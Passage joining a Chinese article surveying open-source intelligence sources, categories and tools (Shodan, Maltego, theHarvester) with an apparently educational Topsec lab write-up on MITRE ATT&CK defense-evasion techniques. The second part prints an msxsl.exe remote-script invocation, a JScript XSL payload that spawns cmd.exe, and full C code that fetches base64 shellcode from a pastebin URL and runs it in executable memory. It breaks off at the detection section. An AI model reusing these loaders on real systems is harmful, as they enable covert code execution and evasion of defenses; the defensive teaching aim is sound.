* 商业和公共信息服务机构：商业机构即商业性金融机构，是按照现代企业制度改造和组建起来的，以营利为目的的银行和非银行金融机构，它们承担了全部商业性金融业务。在我国，主要包括金融机构和非金融机构，我国银行金融机构主要包括国有独资商业银行、其他商业银行、农村和城市信用合作社。非金融机构包括保险公司、信托投资公司、证券公司、财务公司、金融租赁公司等。此类渠道一般包含了相关金融利率、汇率、存息动态、保险条例、业务渠道、金融信息等等。
* 图书馆和研究中心：图书馆，是搜集、整理、收藏图书资料以供人阅览、参考的机构，有保存人类文化遗产、开发信息资源、参与社会教育等职能。研究中心是国家科技创新体系的重要组成部分，以提高自主创新能力、增强产业核心竞争能力和发展后劲为目标的相关机构。图书馆作为国家最大的信息中心，包含了历史以来几乎所有的公开信息，已成为开源情报的重要来源渠道。
* 个人和团队：在这里，个人和团体也成为必不可少的情报来源渠道。个人在社会中的职能不同，会产生很多不同的角色，由此产生的信息便各不相同，所带来的信息也是多样化。而团队作为无数个人的整体组织，产生的信息量由个人的多样化偏向于全面化。此类渠道涉及到的情报相当广泛，可以说，个人和团队是以上四种渠道的基本组成。
我们注意到，开源情报来源还可以做如下分类：
* 媒体：报纸、杂志、电台、电视节目、基于计算机的信息。
* 网络社区和用户创造的内容：社交站点、视频分享站点、维基百科、博客、通俗分类。
* 公开数据：政府报告、官方数据、预算、人口统计资料、听证会、立法辩论、新闻发布会、演讲、海洋和航空的安全警告、环境影响图片、合同签订。
* 观察和报告：利用业余观察家们的成果，如某些人通过对谷歌地球进行标注、上传某一地区的照片，从而大量借此扩展出了许多有价值的情报信息。
* 专家和学者：会议、研讨会、专业组织、学术论文、专家。
* 地理信息数据：地图、地图集、地名录、港口规划、重力数据、航空数据、导航数据、人类分布数据、环境数据、商业影像、激光雷达、超多光谱数据、机载成像、地理名称、地理特征、城市地形、垂直阻塞的数据（VOD）、界标数据、地理空间聚合、空间数据库、web服务。许多信息都可以利用地理信息系统（GIS）进行整合、分析、聚合的。
## 四、分类
### 1、美军：
在分类上，国内外没有统一的标准。由于美国国会以及军方在最早研究OSINT的组织，所以通常下，美军将开源情报分为：战略情报、战役情报和战术情报三类。
第一类是战略情报。战略情报指国家与国际层面制定政策或军事计划所需要的情报。战略情报行动需要考虑整个国家，考虑数月后、数年后乃至更长远未来。主要涉及的信息可以分为以下九个方面：
* 人物传记情报：指当前及潜在的重要人物及其背景、人格等。包括：教育与职业经历；个人成就；爱好、习惯；职位、影响力与潜力；业务爱好与价值取向。
* 经济情报：包括：经济战；经济脆弱性；生产制造；经济实力来源。
* 社会情报：主要考察社会、社会中的团体及其构成、组织、目的、习惯与某些个人在社会组织中的作用地位。包括：人口、劳动力；人的文化、物质生活状况；公众观点；教育；宗教；公共健康与福利。
* 交通情报：即关于外国交通系统设施与运作的情报，包括：铁路；高速公路；水路、航道；油气管道；港口；商业海运；航空。
* 电信情报：即关于外国民用、军用固定通信系统设施及运作的情报，包括：无线电；电视；电话；电报；海底电缆；媒体。
* 地理情报：地理是一门描述陆地、海洋、天空以及动植物、人类、工业等分布状况的科学。地理情报则是对可能以某种方式影响军事行动的所有地理因素的评估。包括：描述；自然地貌；人造地貌；各部分名称；形地貌；人及文化地理。需要注意的是，如今此类情报很多的来源是Google Earth以及其他卫星地图的造影。
* 武装部队情报：即对外国有组织的地面、海上与空中部队（包括现有的与潜在的）进行的综合研究。包括：一个国家的战略性军事问题，涉及地缘政治、地形、经济、政治及其它因素，以及武器系统运用、各兵种各军种运用与行动、特种作战训练、后勤、编制、军事力量。
* 政治情报：政治情报是关于外国与国内政府政策以及政治运动的情报，包括：政府基本原则、国家政策；政府结构；对外政策；政治组织、政党；举程序；公共秩序与安全；颠覆破坏活动；情报与安全组织；宣传。
* 科学技术情报：即对外国科学技术能力及其通过开发新武器装备而支持其目标的潜力的研究与评估。包括：新式武器装备；导弹与太空；核、生、化；基础科学与应用科学。
第二类是战役情报。战役情报是指战区辖区内的地理资源、地区态势、社会因素、宗教构成、后勤保障等。
第三类是战术情报。战术情报指计划与实施战术行动所需的情报。战术情报行动应当与战场上的军事行动相适应，通常与敌直接接触，需要面对村庄、城镇或当地部族、民众。例如：地理空间信息、气象条件、民众心理、民事基础设施、交通网络、影像系统等。
### 2、知远所：
知远所是一家独立的战略和防务研究机构。研究所立足于防务动态和学术热点的追踪分析，着眼于长远性、战略性问题的深入研究，并为国家有关机构及决策者提供独立、客观的战略与政策建议。我在研究开源情报的时候，发现知远所有过如下分类：
* 征候和预警情报：征候和预警情报，也可以成为评估情报，通常是根据公开信息对国外进行综合军事能力、经济水平、民众因素、气候方面等等进行综合评估，而产生的预警情报信息。
* 现实情报：现实情报，顾名思义，结合现实情况（包括新闻资讯、公开声明、在网络中也包括了社交网络动态等等），通过一些实时的信息来综合考虑而产生的情报。
* 常规军事情报：这里与美军划分的三类情报类似，一般指军备基础、建设设施等基础信息的情报。
* 目标情报：军事打击对象物的情况和资料。是作战行动决策和选择打击方式方法的重要依据。按目标性质，分为军用目标情报和民用目标情报；按应用范围，分为战略目标情报、战役目标情报和战术目标情报；按国际法，分为允许打击目标情报和禁止打击目标情报。内容主要包括目标的精确位置、使用性质、价值作用、规模大小、构制材料、外部特征、内部结构、要害部位、防护措施、周围环境、地形地貌、气象水文等。
* 科技情报：当前，科技情报发展进入了新时代。科技情报的地位、影响、未来的发展模式都在发生着深刻的变化。科技情报对国家经济安全、国家军事安全、国家技术安全的支撑作用不断加大；与此同时，各国的科技情报获取与反情报获取的博弈也在加强。在美国《国家安全战略》中，将科技情报的用途进行强调：监测并破坏大规模毁灭性武器；基于来源监测和遏制生物恐怖；反网络犯罪；阻止和扰乱恶意的网络行为者；信息共享和感知；预测全球科技发展趋势。
* 预测性情报：预测性情报，又称为动态情报，具有动态性、预见性和超前性的特点。在取得过去和现在的各种市场情报资料的基础上，经过分析研究，动用科学的方法和手段，对未来动向进行预测而产生的情报。我国目前对此类情报逐步重视，而且此类情报多用于商业领域。
### 3、结合实际分类
研究显示，人类社会的信息量每两年增长一倍，全球范围内50%的人口已接入互联网，34%的人口活跃在社交媒体上。开源情报（OSINT）的来源已从传统的纸质媒体和电视广播，扩展至深度网络、商业图像、技术数据、灰色文献等等新兴信息源。
互联网正在成为继报纸、广播、电视之后的第四大传媒。互联网上信息的最大特点是，内容丰富，传播速度快，不受国家地域局限，人人都是信息的汲取者，也可以成为信息的提供者，而且是不加滤波的信息和真正水平传递的信息，从而成为侦探掘取情报的源泉和矿藏。
因此，我在这里把开源情报分类两大类：
* 传统情报：传统情报，可以称为第一代开源情报。主要渠道来源有报纸、杂志、书籍、公开发行的政府出版物、商业性出版物、产品资料、专利资料、音像资料以及广播、电视等。
* 互联网情报：我们也可以称为第二代开源情报时期。研究人员认识到，在90年代个人电脑的兴起，也是开源情报产生的时期，产生了巨大的影响。2009年的伊朗绿色革命等事件就是生动的例证。第二代开源情报的起点可以追溯到2005年，当年开源中心（Open Source Center）成立。在此期间，互联网也在发生变化，大量的在线内容转移到动态网页、用户生成内容和社交媒体上。这种过渡常常被描述为Web 2.0的出现。互联网情报在开源情报的新生产物，对于传统的情报研究人员以及情报机构是新的挑战与机遇，互联网每天产生的信息量无法估计，多数开源情报的获取会通过社交网站、媒体资讯网站、政府网站、公开信息服务机构的查询功能等等。
## 五、开源工具
### 1、Google
搜索引擎确作为互联网中最常用的功能，它们收集了几乎所有可以公开访问到的信息并且进行了索引，我们通常可以通过这些信息收集有关目标的信息。
* intitle：查找页面标题中提到的单词。
* cache：用于查看网站历史缓存信息。
* inurl：搜索得到你搜索内容的网址。
* filetype：用于查找文件类型。
* ext：这用于识别具有特定扩展名的文件。
* intext：这有助于搜索页面上的特定文本。
例如：在谷歌中输入site：360.cn filetype：pdf，就能得到360.cn网站上的所有PDF文档。
### 2、AVL Insight开源情报工具
AVL Insight 开源情报工具是安天移动安全推出的一款情报收集工具，它是配合AVL
Insight移动威胁情报平台的Chrome浏览器扩展程序，用户可以使用该工具，对网站中的公开信息进行收集整理，并对关键信息点进行结构化提取生成自定义情报，从而形成自己的公开情报库。
基于移动威胁分析人员收集情报的需求而产生，以公开情报的收集和管理为目标，具有自定义情报、关联搜索、情报管理、情报导出等功能。AVL Insight
开源情报工具的出现将大大减少以往分析人员收集情报时的重复性工作，有效提升分析人员的工作效率。
在写此文的时候，此插件在Chrome应用商店中已经无法搜索到。不再进行详细说明。下面是安天官方的截图。
### 3、Shodan
Shodan可以说是互联网上最可怕的搜索引擎。与谷歌不同的是，Shodan不是在网上搜索网址，而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌，一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。
工作流程：Shodan通过扫描全网设备并抓取解析各个设备返回的 banner 信息，通过了解这些信息，Shodan就能得知网络中哪一种 Web
服务器是最受欢迎的，或是网络中到底存在多少可匿名登录的 FTP
服务器。其中Shodan上最受欢迎的搜索内容是：webcam，linksys，cisco，netgear，SCADA等等。
### 4、Maltego
Maltego是一个开源的漏洞评估工具，它主要用于论证一个网络内单点故障的复杂性和严重性。该工具能够聚集来自内部和外部资源的信息，并且提供一个清晰的漏洞分析界面。它内置在kali中，从功能的角度看，这个软件有几种用途：一是站长工具，站长可以用来检查某个网站的各种基础信息。二是社工工具，可以用来检索Maltego的各种数据库，从而发掘各种信息。三是用于情报分析，从数据的角度看，这些功能都源自Maltego的数据，有些数据，包括whois等网络数据，还是比较容易实时查询，但是其中涉及到的Flicker、MySpace、搜索引擎等数据，则需要提供较为高级的方式，特别是涉及到较多的数据调用和解析，需要专业研究。
Maltego允许枚举网络和域信息，如：域名、Whois信息、DNS名称、Netblocks、IP地址等；枚举person信息，如：相关联的电子邮件地址、网站、电话号码、社会团体、公司和组织等。
### 5、The Harvester
TheHarvester是一个社会工程学工具，它通过搜索引擎、PGP服务器以及SHODAN数据库收集用户的email，子域名，主机，雇员名，开放端口和banner信息。
* 官网：<http://www.edge-security.com>
* 安装：apt-get install theHarvester
* 运行：终端输入 theharvester
-d: Domain to search or company name
-b: data source: google, googleCSE, bing, bingapi, pgp，linkedin, google-profiles, people123, jigsaw, twitter, googleplus, all
-s: Start in result number X (default: 0)
-v: Verify host name via dns resolution and search for virtual hosts
-f: Save the results into an HTML and XML file
-n: Perform a DNS reverse query on all ranges discovered
-c: Perform a DNS brute force for the domain name
-t: Perform a DNS TLD expansion discovery
-e: Use this DNS server
-l: Limit the number of results to work with
最常见用法：theharvester -d 域名|公司名 -b 搜索来源（google，bing，pgp，linkedin等）
### 6、archive.org
互联网档案馆（英语：Internet
Archive）是一个非营利性的数字图书馆组织。成立于1996年，由Alexa创始人布鲁斯特·卡利创办。提供数字数据如网站、音乐、动态图像、和数百万书籍的永久性免费存储及获取。迄至2012年10月，其信息储量达到10PB。
网址：<https://archive.org>
其数据是由自带的网络爬虫自动搜集的，其网站典藏档案馆网站时光机，抓取了超过1500亿的网页。
### 7、Harpoon
Harpoon
是一种自动化威胁情报和开源情报任务的工具。它使用Python3进行编写，Git：<https://github.com/Te-k/harpoon>
安装和配置：
pip install git+ssh://[email protected]/Te-k/harpoon --process-dependency-links
npm install -g phantomjs
harpoon config -u
harpoon config
此工具可以结合一些情报平台，进行批量自动查询。
## 六、总结
到底什么是开源情报？简单而言，就是你能看到的信息都是开源信息，而可以利用的那部分信息就叫做开源情报。
长期以来，开源信息的价值一直被认可。但随着互联网的普及和社交媒体、大数据分析的兴起，开源情报已经发生了革命性的变化。对于一些曾经只能通过更危险和昂贵的传统情报收集平台获得情报的手段，开源的方法也有能力进行替换和补充。
随着科技的快速发展，特别是信息技术与网络技术的快速发展，开源情报的作用正日益显现其重要性。互联网和社交媒体的兴起使开源情报在来源和分析方法上更加复杂。个体正在以前所未有的方式提供信息，包括个人情感的在线表达，某个地方和事件的照片，以及公开的社会和专业网络。
伴随着技术的不断进步，由几十年前的人工分析情报和收集情报，如今已经开始使用机器学习、计算机算法和自动推理进一步扩大处理信息的能力，这些技术的使用，对情报价值产生了深远影响。
从情报作为流程和产品来看，开源情报相对于其他私密情报搜集科目主要的好处在于：快速、灵活性、多样化培训、低成本。
在我国，由于国内相关机构认知偏差、信息割裂、利益保护、过度保密等种种因素，在开展开源情报研究的过程中，存在着很多亟待解决的问题。国内机构相互之间缺乏有效的交流与协调机制，无法形成统一的规范与分析方法，甚至连这一最为基本的术语都无统一而明确的定义。
管子·侈靡说：
>
> 万世之国，必有万世之实。必因天地之道，无使其内使其外，使其小毋使其大。弃其国宝使其大，贵一与而圣；称其宝使其小，可以为道。能则专，专则佚。椽能逾，则椽于逾。能宫，则不守而不散。众能，伯；不然，将见对。
开源情报的开发与利用是一个长期的、持续的过程，开源情报的价值在互联网中越来越重要，我们始终相信随着近几年不断地研究与发展，国内也在逐步赶上国外的脚步。 | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/Qwc234edENL8NBxSm4d56g>**
## 一、前言
基于MITRE ATT&CK框架中关于“ **防御逃逸** ”（Defense
Evasion）的战术专题，笔者将深入介绍其中大部分防御逃逸手段的技术原理、检测方法及缓解方案，为求简洁直观的表达其技术原理，本文对部分战术的实现提供了
**演示性的代码** 。
其实在学习MITRE
ATT&CK框架并一个个实现其原理的过程中，就会发现我们慢慢的对攻击者的攻击思路和攻击方向有了更清晰的认识，并逐步了解他们是如何发现新的攻击手段的。例如在本次的防御逃逸专题中有个应用程序白名单绕过，攻击者总会在Windows系统上找到一些被系统或杀软信任而不会进行限制的应用程序，这些应用通常是被大家忽视或不常用的。当它们有一些可被利用的漏洞时，就会造成严重后果。但当我们了解了攻击者的思路，或许就可以先他一步找到漏洞，避免损失。
当然，在网络上充斥着大量的恶意代码，也不断的有新的变种出现，鉴定和分析恶意代码也成为了 **安全事件响应** 及信息安全工程师的必备技能。希望本文能够为从事
**信息安全** 相关工作的攻城狮带来启发，通过了解这些常规防御逃逸手段而帮助他们在应对 **入侵响应** 、 **样本分析**
等方面工作能够更加游刃有余。
本文所介绍的防御逃逸战术情况如下：
战术 | MITRE ATT&CK链接
---|---
XSL脚本代码代理执行 | <https://attack.mitre.org/techniques/T1220/>
利用可信网络服务进行数据隐蔽传输 | <https://attack.mitre.org/techniques/T1102/>
虚拟化和沙箱的检测 | <https://attack.mitre.org/techniques/T1497>
受信任的开发人员实用程序利用 | <https://attack.mitre.org/techniques/T1127/>
时间戳伪装 | <https://attack.mitre.org/techniques/T1099/>
PubPrn代理脚本代码执行 | <https://attack.mitre.org/techniques/T1216/>
签名二进制程序代理执行 | <https://attack.mitre.org/techniques/T1218/>
Regsvr32代理代码执行 | <https://attack.mitre.org/techniques/T1117/>
进程注入 | <https://attack.mitre.org/techniques/T1055/>
利用NTFS ADS进行数据隐藏 | <https://attack.mitre.org/techniques/T1096/>
Mshta代理执行脚本代码 | <https://attack.mitre.org/techniques/T1170/>
CHM文件隐藏代码执行 | <https://attack.mitre.org/techniques/T1223/>
CMSTP配置文件参数利用 | <https://attack.mitre.org/techniques/T1191/>
本机程序编译代码执行 | <https://attack.mitre.org/techniques/T1500/>
额外窗口内存注入 | <https://attack.mitre.org/techniques/T1181/>
间接命令执行 | <https://attack.mitre.org/techniques/T1202/>
解码文件并执行 | <https://attack.mitre.org/techniques/T1140/>
控制面板文件代码执行 | <https://attack.mitre.org/techniques/T1196/>
入侵痕迹清除 | <https://attack.mitre.org/techniques/T1070/>
文件加壳 | <https://attack.mitre.org/techniques/T1045/>
修改文件权限 | <https://attack.mitre.org/techniques/T1222/>
以Att&ck中对每个防御逃逸战术手段的描述，笔者将每个例子以及所绕过的防御来进行归类，分类情况如下：
分类 | 战术 | 简介
---|---|---
数字证书验证 |
XSL脚本代码代理执行、PubPrn代理脚本代码执行、签名二进制程序代理执行、regsvr32代理脚本代码执行、mshta代理执行脚本代码、CHM文件隐藏代码执行
|
通过验证数字证书，可以快速有效的验证程序和代码的来源，从而可以杜绝部分恶意代码的执行。目前这些所列出的战术，均通过利用已被可信证书签名的程序或脚本提供的功能，实现“动态代理执行”外部的脚本或代码，而不破坏原有程序完整性。从攻击者角度来看，通过逆向分析具有合法签名的程序，挖掘可滥用的点（如调用动态链接库、引用外部参数），则可以利用签名过的程序执行代码从而突破数字证书验证。
应用程序白名单 |
XSL脚本代码代理执行、受信任的开发人员实用程序利用、PubPrn代理脚本代码执行、签名二进制程序代理执行、regsvr32代理脚本代码执行、进程注入、mshta代理执行脚本代码、CMSTP配置文件参数利用、CHM文件隐藏代码执行、控制面板文件代码执行
|
不论是操作系统还是杀毒软件，为了系统安全，当启动某程序或者某程序执行一些敏感操作的时候，会进行提示，让用户选择是否允许该操作。而所有程序都进行提示势必会影响用户体验，所以在系统和杀软中会存在白名单列表，名单中程序的运行被系统或杀软信任而不会进行限制与提示。依据这样的特性，攻击者通过逆向分析白名单中的程序，挖掘可滥用的点（如调用外部动态链接库、引用外部参数），则可以通过白名单程序间接的执行代码而突破限制，这对于突破系统层面或杀软层面的白名单限制都有帮助。
反病毒 Anti-Virus | XSL脚本代码代理执行、虚拟化和沙箱的检测、regsvr32代理脚本代码执行、进程注入、利用NTFS
ADS进行数据隐藏、CMSTP配置文件参数利用、本机程序编译代码执行、解码文件并执行、额外窗口内存注入、入侵痕迹清除、文件加壳 |
反病毒软件提供的保护是全面而系统的，攻击者针对不同的防护措施通常采用不同的绕过措施。如针对文件扫描查杀，攻击者可能会采用文件分割运行时组合的方式。针对行为查杀，则可能会采用可信程序代理执行关键行为的方式。绕过反病毒软件需要分析具体防护措施的原理，以挖掘绕过和突破的方案。
绕过防火墙 | 利用可信网络服务进行数据隐蔽传输 |
数据传输是攻击过程中的重要一环，为绕过防火墙拦截而隐蔽传输数据，攻击者可能会在通讯目标及通讯过程两方面进行调整，以突破拦截。通讯过程中的调整主要是通讯协议、通讯频率，将恶意的流量夹杂在正常的通讯协议中，在此基础上，通过将通讯目标改为受信任的地址，可以突破防火墙的拦截。
静态文件分析 | 虚拟化和沙箱的检测、本机程序编译代码执行、文件加壳 |
静态文件分析绕过战术，有几个方向。如运行之初首先检测是否允许于沙箱和虚拟机而不主动执行恶意代码，可避免被部分自动化分析环境的分析，由于自动化分析环境和正常使用的电脑环境之间一定存在某些差异（如
鼠标运动轨迹、系统已安装的程序等等），利用这些差异来识别运行环境是否为分析环境。还有一个方向是通过技术手段避免代码被轻易得逆向分析，代表性的手段就是加壳加密。由于代码始终需要在客户端进行执行，加壳加密只能是一定程度上加强反分析的能力，但强壳拥有较高的反分析能力，而普通压缩壳反分析能力较弱。
主机取证分析 | 虚拟化和沙箱的检测、时间戳伪装、利用NTFS ADS进行数据隐藏、入侵痕迹清除 |
为避免被取证分析，攻击者可能会尝试删除入侵痕迹、恶意代码不落地等手段，避免在系统中留下可被分析的记录信息，这与攻击者的行为有关，可被捕捉并分析的记录包含
网络流量、文件操作、日志记录、进程操作及注册表记录等等。
主机入侵防御系统 | 本机程序编译代码执行、解码文件并执行、额外窗口内存注入、入侵痕迹清除 |
HIPS通过文件、注册表、程序运行三大方面进行监控而实现安全防护。为绕过HIPS的监控，可以通过寻找“代理人”来代理执行代码，如系统中运行的某个可信程序存在代码执行漏洞，普通程序通过触发漏洞执行代码以避免被HIPS拦截提示。
基于签名的检测 | 本机程序编译代码执行、解码文件并执行、文件加壳 |
所述的基于签名检测即检测文件MD5签名，确认是否为样本库中所包含的恶意文件。众所周知的是，文件内容修改任意一字节其MD5值便会发生变化，由可执行文件的文件结构存在众多可修改的字段，故手工修改文件以绕过MD5检测不是大的问题，重点应在于可执行文件实现运行时自修改，在运行之时自修改磁盘上的可执行程序以保证文件MD5的不断变化，实现绕过基于签名的检测。
文件系统访问控制 | 修改文件或目录权限 |
当攻击者侵入主机时，为了获取更多信息，攻击者可以修改文件或目录权限，想办法获取更高的权限，以避开DACL对访问控制的管理
## 二、详例
### 1、XSL脚本代码代理执行
#### 原理及代码介绍
可扩展样式表语言（XSL）文件通常用于描述XML文件中的数据的处理方式和显示方式，其中为了支持复杂的操作，XSL提供了对各种嵌入式脚本的支持，典型的如Javascript。攻击者可能会通过利用此功能来
**代理执行任意代码** ，以绕过应用程序 **白名单防护** 。
XML是一种可扩展的标记语言，被设计用来传输和存储数据。XML类似于HTML，但是和HTML有着本质的区别， XML
被设计为传输和存储数据，其焦点是数据的内容。HTML 被设计用来显示数据，其焦点是数据的外观， 即XML旨在传输信息，而HTML旨在显示信息。
而XSL指扩展样式表语言(EXtensible Stylesheet Language),
XSL主要是用于基于XML的样式表语言。XSLT是XSL中最重要的部分，XSLT指XSL Transformations，XSLT 用于将一种 XML
文档转换为另外一种 XML 文档，或者可被浏览器识别的其他类型的文档，比如 HTML 和 XHTML。通常，XSLT 是通过把每个 XML 元素转换为
(X)HTML 元素来完成这项工作的。通过
XSLT，您可以向或者从输出文件添加或移除元素和属性。您也可重新排列元素，执行测试并决定隐藏或显示哪个元素，等等。
微软提供了一个名为MSXSL的命令行工具，用于执行XSL
transformations操作，并可以用来执行嵌入在本地或者远程（通过URL指定）XSL文件中的恶意JavaScript。由于该程序默认不安装在Windows系统上，因此攻击者可能需要将其与恶意文件打包在一起放在目标电脑上。
执行本地脚本及远程脚本的命令行示例如下：
msxsl.exe customers.xml script.xsl
msxsl.exe http://www.google.com/customers.xml <http://www.google.com/script.xsl>
Customers.xml文件内容如下：
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="test.xsl" ?>
<customers>
<customer>
<name>Microsoft Windows </name>
</customer>
</customers>
Script.xsl 文件内容如下：
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="<http://mycompany.com/mynamespace>">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist)
{
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
#### 运行效果图
通过CMD进程使用通过命令行进行带参数的命令执行msxsl.exe，test.xsl中的JavaScript会得以执行，该代码执行的宿主程序是msxsl.exe，最后计算器得以执行.
#### 检查及限制方案
通过进程来监视msxsl.exe的执行及其参数，将该程序最近的调用与历史中已知的良好的调用进行比较，已确定异常和潜在的对抗活动。例如：URL命令行参数、外部网络连接的创建、与脚本关联的动态链接库加载等等事件。
由于msxsl并不是系统默认附带的，所以如果计算机中意外出现该程序，需要进一步查询该文件的作用及来历。
#### 参考链接
XML 教程：<https://www.w3school.com.cn/xml/index.asp>
XSLT教程: <https://www.w3school.com.cn/xsl/index.asp>
ATT&CK：<https://attack.mitre.org/techniques/T1220/>
### 2、利用可信网络服务进行数据隐蔽传输
#### 原理及代码介绍
部分攻击者会使用现有的合法外部Web服务作为中转服务器，将命令和数据中继到受感染的系统中。也有攻击者在在外部的Web服务中放置C&C服务器的信息，通过将C&C信息放在可编辑的Web服务中，受感染系统首先会与该服务进行通讯，然后解析其中数据开始连接真实的C&C服务器。
流行的网站和可信的网站可能会为 **数据隐蔽传输**
做一下掩盖，因为内网的主机在被入侵之前就有与这些网站进行通信的可能性。使用常见的服务（如Google或Twitter提供的服务）可以使数据交互更容易
**隐藏** 。另外Web服务提供商通常使用SSL/TLS加密，这些也为攻击者提供了额外的保护。
使用Web服务存放C&C服务器信息，可以避免因将该信息硬编码到样本中而被分析发现的可能，同时还可以实现C&C服务器的 **弹性**
操作（可以动态修改Web服务中的C&C服务器信息）。
以下总结Att&CK中列举的知名APT组织或工具使用的相关技术手段，粗略分类可分为三大类：
技术手段 | APT组织、工具名称 | 备注
---|---|---
在Web服务中保存C&C信息，实现弹性C&C连接 |
APT12、APT37、APT41、BlackCoffee、HAMMERTOSS、Kazuar、Leviathan、LOWBALL、Magic
Hound、MiniDuke、OnionDuke、Orz、POORAIM、PowerStallion、Revenge RAT、RTM、Xbash |
AOL、Twitter、Dropbox、Box 、Github、PasteBin、Microsoft
TechNet、tumbler、BlogSpot、Google Apps、Yandex、SOAP web、RSS
通过web服务进行数据中转（如文件传输、控制命令下发、下载Payload动态等等） |
Carbanak、CloudDuke、RogueRobin、ROKRAT、SLOWDRIFT、Turla、Twitoor、UBoatRAT、BRONZE
BUTLER | Microsoft OneDrive、Yandex、Mediafire、Twitter
伪装或利用其他协议流量进行隐蔽通信 | Comnie、GLOOXMAIL | HTTP、DNS、Jabber / XMPP协议
这里以 **下载Payload并执行**
为例，模拟演示使用Web服务存储可执行代码，利用客户端程序下载并执行的过程。下图为Payload代码，Payload运行后仅弹出提示框证明代码执行成功，首先将代码取出并Base64编码，以便以文本方式进行网络提交和保存：
| |
Base64编码后的内容如下
将编码后的内容上载到pastebin.com，生成一个可访问的链接
生成后的地址如下：<https://pastebin.com/raw/LXrbf7PW>，当请求该页面，返回的内容为我们编码后的代码。
通过编写如下代码，完成下载并执行代码的过程。代码较长，这里简述一下执行流程：
1. 模拟发送HTTPS请求获取指定页面的内容
2. BASE64解码所下载的二进制数据
3. 将二进制字符串转为二进制数值，并申请一段可执行的内存地址存放该代码
4. 创建新的线程，将代码执行起来
bool read_webpage()
{
bool ret = false;
int decode_len = 0;
BYTE pAllData[4096] = {0};
BYTE pDecodeData[4096] = {0};
BYTE* pMessageBody = NULL;
BYTE* pCode = NULL;
HANDLE hNewThread = NULL;
LPCTSTR lpszServerName = L"www.pastebin.com"; //欲访问的服务器
LPCTSTR lpszObjectName = L"/raw/LXrbf7PW"; //欲访问的页面
INTERNET_PORT nServerPort = INTERNET_DEFAULT_HTTPS_PORT; // HTTPS端口443
LPCTSTR lpszAgent = L"WinInetGet/0.1";
HINTERNET hInternet = InternetOpen( lpszAgent,INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
LPCTSTR lpszUserName = NULL;
LPCTSTR lpszPassword = NULL;
DWORD dwConnectFlags = 0;
DWORD dwConnectContext = 0;
HINTERNET hConnect = InternetConnect(hInternet,lpszServerName, nServerPort,lpszUserName, lpszPassword,INTERNET_SERVICE_HTTP,dwConnectFlags, dwConnectContext);
LPCTSTR lpszVerb = L"GET";
LPCTSTR lpszVersion = NULL;
LPCTSTR lpszReferrer = NULL;
LPCTSTR *lplpszAcceptTypes = NULL;
DWORD dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP |
INTERNET_FLAG_KEEP_CONNECTION |
INTERNET_FLAG_NO_AUTH |
INTERNET_FLAG_NO_COOKIES |
INTERNET_FLAG_NO_UI |
INTERNET_FLAG_SECURE |
INTERNET_FLAG_RELOAD;
DWORD dwOpenRequestContext = 0;
HINTERNET hRequest = HttpOpenRequest( hConnect, lpszVerb, lpszObjectName, lpszVersion,
lpszReferrer, lplpszAcceptTypes,dwOpenRequestFlags, dwOpenRequestContext);
BOOL bResult = HttpSendRequest(hRequest, NULL, 0, NULL, 0);
if (!bResult)
{
fprintf(stderr, "HttpSendRequest failed, error = %d (0x%x)\n",GetLastError(), GetLastError());
goto SAFE_EXIT;
}
DWORD dwInfoLevel = HTTP_QUERY_RAW_HEADERS_CRLF;
DWORD dwInfoBufferLength = 2048;
BYTE *pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength+2);
while (!HttpQueryInfo(hRequest, dwInfoLevel, pInfoBuffer, &dwInfoBufferLength, NULL))
{
DWORD dwError = GetLastError();
if (dwError == ERROR_INSUFFICIENT_BUFFER)
{
free(pInfoBuffer);
pInfoBuffer = (BYTE *)malloc(dwInfoBufferLength + 2);
}
else
{
fprintf(stderr, "HttpQueryInfo failed, error = %d (0x%x)\n",
GetLastError(), GetLastError());
break;
}
}
pInfoBuffer[dwInfoBufferLength] = '\0';
pInfoBuffer[dwInfoBufferLength + 1] = '\0';
//printf("%S", pInfoBuffer);
free(pInfoBuffer);
DWORD dwBytesAvailable;
//读取raw数据
while (InternetQueryDataAvailable(hRequest, &dwBytesAvailable, 0, 0))
{
pMessageBody = (BYTE *)malloc(dwBytesAvailable+1);
DWORD dwBytesRead;
BOOL bResult = InternetReadFile(hRequest, pMessageBody,
dwBytesAvailable, &dwBytesRead);
if (!bResult)
{
fprintf(stderr, "InternetReadFile failed, error = %d (0x%x)\n",
GetLastError(), GetLastError());
goto SAFE_EXIT;
}
if (dwBytesRead == 0)
{
break;
}
pMessageBody[dwBytesRead] = '\0';
strcat((char*)pAllData, (char*)pMessageBody);
free(pMessageBody);
}
printf((char*)pAllData);
//base64 解码, 跳过开头的forTEST{}
if(base64_decode((char*)pAllData + 8, strlen((char*)pAllData) - 9, (char*)pDecodeData, 4096))
{
goto SAFE_EXIT;
}
decode_len = strlen((char*)pDecodeData);
//进一步将字符串转为16进制值
pCode = (BYTE*)VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pCode == NULL)
{
goto SAFE_EXIT;
}
for (int i = 0; i < (decode_len/2); i++)
{
char t[3] = {0};
t[0] = pDecodeData[i * 2 + 0];
t[1] = pDecodeData[i * 2 + 1];
pCode[i] = (unsigned char)strtoul(t, NULL, 16);
}
//创建线程执行下载的代码
hNewThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pCode, NULL, NULL, NULL);
WaitForSingleObject(hNewThread, INFINITE);
ret = true;
SAFE_EXIT:
if (pMessageBody != NULL)
{
free(pMessageBody);
pMessageBody = NULL;
}
if (pCode != NULL)
{
VirtualFree(pCode, 0,MEM_RELEASE);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
read_webpage();
return 0;
}
最后执行情况如下：
#### 检查和缓解方案
#### 检测方法：
